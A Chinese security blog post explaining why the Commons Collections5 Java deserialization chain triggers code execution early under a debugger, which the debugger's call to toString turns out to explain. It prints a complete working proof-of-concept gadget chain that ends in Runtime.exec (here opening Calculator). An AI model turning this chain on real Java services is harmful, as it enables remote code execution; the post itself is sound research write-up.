记一次调试Commons Collections5遇到的小坑

故事的起因是学弟来问我为什么在调Commons Collections5的时候,还没有走到触发点就触发了RCE。并发来了这篇文章
我当时以commons collections5为例,调试了一下代码发现确实有这种情况。以下是调试用的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Poc {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app/"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//decorate实例化LazyMap类。
// LazyMap類的get方法調用了transform,transform可以通過反射机制执行命令
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //TiedMapEntry中调用了toString方法->调用了map的get方法
BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的构造方法调用toString方法

// val是私有变量,所以利用下面方法进行赋值,val变量赋值为TiedMapEntry的实例化对象,
// 重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类,
// 就会调用BadAttributeValueExpException的val = valObj.toString();触发上面的
Field valfield = poc.getClass().getDeclaredField("val");
// System.out.println(valfield);
valfield.setAccessible(true);
valfield.set(poc, entry);

File f = new File("poc.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(poc);
out.close();

//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("poc.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
ois.readObject();
ois.close();

}
}

实际调试的时候我发现确实有学弟所说的情况,一图胜千言。
Alt text

反复调了几次都是这个情况,感觉网上文章分析并没有问题因为走到toString那个点也会触发rce,调试时候的那个点也没道理弹框,感觉是idea有bug。后来去群里请教了一下师傅,evil7大师傅给了答案。师傅意思大致就是说在调试的时候调试器打印了valObj,所以相当于提前触发了valObj的toString方法。换句话说在调试情况下RCE触发了两次。

Author

李三(cl0und)

Posted on

2019-11-29

Updated on

2020-07-11

Licensed under